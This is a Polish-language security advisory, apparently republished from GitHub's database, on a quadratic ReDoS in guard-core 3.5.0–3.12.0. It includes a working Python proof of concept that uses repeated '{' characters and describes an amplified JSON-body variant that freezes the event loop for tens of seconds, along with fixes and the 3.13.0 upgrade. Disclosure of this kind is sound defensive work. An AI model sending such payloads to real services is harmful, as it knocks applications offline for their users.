Wysoka

Guard Core: Kwadratowy ReDoS we wbudowanym wzorcu wykrywania blokuje pętlę zdarzeń pojedynczym żądaniem

  • Ujawniono: 19.11.2026
  • Aktualizacja: 21.11.2026 10:00

Podsumowanie

Wielomianowa (kwadratowa) odmowa usługi za pomocą wyrażeń regularnych (ReDoS) we wbudowanych wzorcach wykrywania penetracji w guard-core pozwala dowolnemu nieuwierzytelnionemu klientowi zdalnemu zamrozić każdy punkt końcowy aplikacji na kilka sekund na żądanie, przy użyciu wyłącznie domyślnej konfiguracji. Żądanie wyzwalające kończy się bez dopasowania wykrycia — żaden licznik blokad nie jest zwiększany, nie jest też rejestrowane naruszenie limitu zapytań (rate limit) — dzięki czemu atak może być powtarzany w nieskończoność. Od wersji guard-core 3.5.0 tylko własne wzorce są wykonywane przez chronioną limitem czasu procedurę kompilatora create_safe_matcher(); wszystkie wbudowane wzorce działają bezpośrednio jako niezabezpieczone, wbudowane pattern.search(content) w pętli zdarzeń asyncio. guard-core ≤ 3.4.0 uruchamiał wbudowane wzorce przez bezpieczny mechanizm dopasowywania (zweryfikowano w pakiecie wheel 3.4.0, _check_regex_pattern), jest to więc regresja wprowadzona w 3.5.0 — po cichu cofa ona ochronę przypisaną GHSA-rrf6-pxg8-684g (CVE-2025-54365) oraz naprawę nieograniczonych kwantyfikatorów z GHSA-j47q-rc62-w448 (CVE-2025-53539) dla każdego domyślnego wzorca, mimo że dziennik zmian deklaruje: „Safe regex execution with configurable timeouts to prevent ReDoS attacks.”

Szczegóły

1. Wzorzec — guard_core/handlers/suspatterns_handler.py:519 (master 08780f1), wbudowany detektor wstrzykiwania szablonów:

python
r"\{\{\s*[^\}]+(?:system|exec|popen|eval|require|include)\s*\}\}"

Dla ciągu wejściowego { powtórzonego N razy, każda z N−1 pozycji rozpoczyna próbę dopasowania \{\{, a [^\}]+ skanuje do końca ciągu i cofa się (backtrackuje) raz na pozycję → O(N²). Pokrewny wzorzec w :524 (\{\%\s*[^\%]+...) nie jest podatny — jego ogranicznik % został wykluczony z klasy znaków, co utrzymuje skanowanie w ryzach — co potwierdza, że przyczyną problemu jest nieograniczony, niewykluczający element [^\}]+.

2. Niechroniona ścieżka wykonania — guard_core/handlers/suspatterns_handler.py:910-926:

python
if compiler:
    if category == "custom":
        safe_matcher = compiler.create_safe_matcher(pattern)   # executor + timeout
        match = safe_matcher(content)
        ...
    else:
        match = pattern.search(content)                        # ← inline, NO timeout

W trybie rozszerzonym (domyślnym zawsze, gdy obecny jest SecurityConfig — _supports_enhanced_config() to sprawdzanie atrybutu typu duck-typing, które domyślna konfiguracja zawsze przechodzi pomyślnie), wszystkie wbudowane wzorce wykonują się bezpośrednio wewnątrz asynchronicznej korutyny, blokując pętlę zdarzeń na cały czas skanowania. W guard-core ≤ 3.4.0, _check_regex_pattern() kierował każdy wzorzec przez self._compiler.create_safe_matcher(pattern.pattern) (zweryfikowano w pakiecie wheel 3.4.0, suspatterns_handler.py:565-567) lub, przy braku kompilatora, przez _check_pattern_with_timeout (pula procesów roboczych 4 + limit czasu dla każdego wzorca). Zwolnienie category == "custom" pojawiło się w 3.5.0.

3. Dostępność w konfiguracji domyślnej — wykrywanie penetracji jest domyślnie włączone (enable_penetration_detection=True), parametry zapytania są skanowane domyślnie (guard_core/utils.py:843-865), a domyślne okno skanowania detection_max_content_length=10000 (models.py:765-770) dopuszcza pełny ładunek o długości 10,000 znaków. Ciąg { przechodzi przez przetwarzanie wstępne bez żadnych zmian.

Pomiary (CPython 3.14, guard-core 3.12.0):

dane wejściowe czas rzeczywisty detect() opóźnienie pętli zdarzeń (mierzone wewnątrz procesu)
{ × 2,500 0.15 s —
{ × 5,000 0.46 s —
{ × 10,000 1.85 s łącznie 2.57 s dla trzech wywołań

Wyraźny wzrost 4× przy każdym podwojeniu — zależność kwadratowa, a nie wykładnicza. Profilowanie wszystkich wbudowanych wzorców na tym ładunku przypisuje 1.766 s z łącznego czasu 1.77 s temu pojedynczemu wzorcowi (jednolinijkowa poprawka: ograniczenie luki, np. \{\{\s*[^\}\s]{0,64}(?:system|exec|popen|eval|require|include)\s*\}\}).

Wzmocnienie: każda skanowana wartość generuje ten koszt niezależnie (utils.py:843-890 na parametr zapytania/nagłówek; utils.py:936-977 na pole tekstowe JSON). Pojedyncza treść JSON o wielkości 256 KB (domyślna wartość detection_max_body_inspect_bytes) zawierająca ok. 25 pól tekstowych o rozmiarze {×10,000 spowodowała 44.03 s ciągłego blokowania pętli zdarzeń po jednym żądaniu, kończąc się normalną odpowiedzią bez żadnego trafienia detekcji.

Dlaczego ograniczanie częstotliwości (rate limiting) nie pomaga: domyślne limity w guard-core to rate_limit=10 na rate_limit_window=60 s (models.py:369-375), a sprawdzanie rate_limit odbywa się przed suspicious_activity w domyślnym potoku przetwarzania. 10 × 44 s = 440 s blokady pętli w oknie 60 s z pojedynczego adresu IP — nasycenie zasobów z jednego źródła, bez potrzeby ataku rozproszonego.

Wpływ na frameworki: każdy adapter integrujący guard-core w pętli asyncio — fastapi-guard, flaskapi-guard (wdrożenia asynchroniczne), djapi-guard (ASGI) — współdzieli pętlę z aplikacją, więc blokada paraliżuje każdy punkt końcowy aplikacji nadrzędnej, a nie tylko chronione trasy.

PoC

Tylko guard-core — żaden adapter frameworka nie jest wymagany. Wymaga pip install guard-core, następnie python poc_guard_core_redos.py. Kod wyjścia 0 = odtworzono blokadę.

python
"""PoC: event-loop ReDoS in guard-core (>= 3.5.0, <= 3.12.0), default config.

The built-in template-injection pattern is quadratic on '{' x N, and since 3.5.0
built-in patterns execute inline (pattern.search) with NO timeout — only
`custom` patterns get the compiler's safe matcher. One detect() call with a
10,000-char value blocks the event loop ~1.8s; a 256KB JSON body with ~25 such
fields blocks it ~44s. Runs on the asyncio loop that any adapter
(fastapi-guard, flaskapi-guard, djapi-guard) shares with the app.

Run:  python poc_guard_core_redos.py
Exit code 0 = freeze reproduced (max loop lag > 1s).
"""

import asyncio
import time

from guard_core.handlers.suspatterns_handler import sus_patterns_handler
from guard_core.models import SecurityConfig

LOOP_LAGS: list[float] = []


async def _loop_lag_monitor() -> None:
    while True:
        t0 = time.monotonic()
        await asyncio.sleep(0.05)
        LOOP_LAGS.append(time.monotonic() - t0 - 0.05)


async def main() -> int:
    config = SecurityConfig(enable_redis=False)  # defaults = enhanced mode
    sus_patterns_handler.configure(config)

    monitor = asyncio.create_task(_loop_lag_monitor())
    await asyncio.sleep(0.3)  # baseline samples

    for n in (2_500, 5_000, 10_000):
        t0 = time.perf_counter()
        result = await sus_patterns_handler.detect(
            content="{" * n, ip_address="203.0.113.7", context="query_param:q"
        )
        print(f"'{{' x {n:5d}: {time.perf_counter()-t0:.2f}s  is_threat={result['is_threat']}")

    # let the starved monitor task wake and record the lag it just endured
    await asyncio.sleep(0.1)
    max_lag = max(LOOP_LAGS)
    print(f"\nmax event-loop lag during run: {max_lag:.2f}s")
    print("VERDICT:", "FROZEN" if max_lag > 1.0 else "not reproduced")

    monitor.cancel()
    return 0 if max_lag > 1.0 else 1


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

Zaobserwowany wynik (Python 3.14, guard-core 3.12.0):

'{' x  2500: 0.16s  is_threat=False
'{' x  5000: 0.51s  is_threat=False
'{' x 10000: 1.91s  is_threat=False

max event-loop lag during run: 2.57s
VERDICT: FROZEN

Kompletny test z użyciem adaptera fastapi-guard (domyślna konfiguracja, rzeczywisty serwer uvicorn, monitor opóźnień pętli wewnątrz procesu) wykazał 1.75 s opóźnienia pętli zdarzeń po stronie serwera po jednym żądaniu GET zwracającym kod HTTP 200 — dostępny na żądanie.

Wpływ

Rodzaj podatności: Odmowa usługi za pomocą wyrażeń regularnych (ReDoS) — CWE-1333 / CWE-400. Złożoność wielomianowa (kwadratowa), O(N²), bez wykładniczego cofania.

Kto jest dotknięty: każda aplikacja wykorzystująca guard-core w wersji ≥ 3.5.0 w konfiguracji domyślnej (z włączonym wykrywaniem penetracji) we wdrożeniu jednoprocesowym asyncio. Jedno nieuwierzytelnione żądanie blokuje wszystkie punkty końcowe na ~1.8 s; jedno spreparowane żądanie POST blokuje je na kilkadziesiąt sekund; powtarzane żądania na poziomie zaledwie 10/min trwale paraliżują proces roboczy. Ponieważ ładunek nie powoduje wykrycia zagrożenia, żaden licznik blokad nie rośnie i nic nie jest rejestrowane jako podejrzane — atak jest całkowicie niewidoczny w telemetrii guard-core.

Kierunki naprawy: (1) ograniczenie kwantyfikatora we wzorcu szablonu (jego pokrewny wzorzec {% w :524 jest już bezpieczny, ponieważ [^\%]+ wyklucza ogranicznik — wykluczenie ogranicznika lub ograniczenie luki usuwa podatność); (2) skierowanie wbudowanych wzorców przez tę samą ścieżkę z limitem czasu create_safe_matcher(), co wzorce niestandardowe, przywracając zachowanie znane z wersji ≤ 3.4.0, o którym mowa w dzienniku zmian.

Prośba o weryfikację do zgłaszającego

Poprawka została wydana w pakiecie guard-core 3.13.0, dostępnym już w PyPI. Jeśli zgłosiłeś ten problem, zainstaluj wersję 3.13.0 i potwierdź jej rozwiązanie. Możesz odpowiedzieć w wątku dyskusyjnym tego biuletynu lub otworzyć nowe zgłoszenie z informacją o wyniku.

Co trzeba zrobić

Zaktualizuj pakiet do wersji guard-core 3.13.0 lub nowszej za pośrednictwem PyPI.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Python (PyPI) guard-core >= 3.5.0, < 3.13.0 3.13.0

Odnośniki

Ocena CVSS 7.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-1333, CWE-400
Platforma
Python (PyPI)
Paczka
guard-core
Ujawniono
19.11.2026
Aktualizacja
21.11.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-r7hm-rjvg-xx7j - CC BY 4.0

Historia podatności: guard-core

Wszystkie opisane podatności tej paczki (Python (PyPI)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
3
Pierwsza → ostatnia
11.2026 11.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Wysoka 1
  • Średnia 1
  • Niska 1

Ujawnienia w latach

  1. 2026: 3
  1. Guard Core: Kwadratowy ReDoS we wbudowanym wzorcu wykrywania blokuje pętlę zdarzeń pojedynczym żądaniem ten wpis
    Wysoka · 7.5 CVE-2026-129302 >= 3.5.0, < 3.13.0 3.13.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.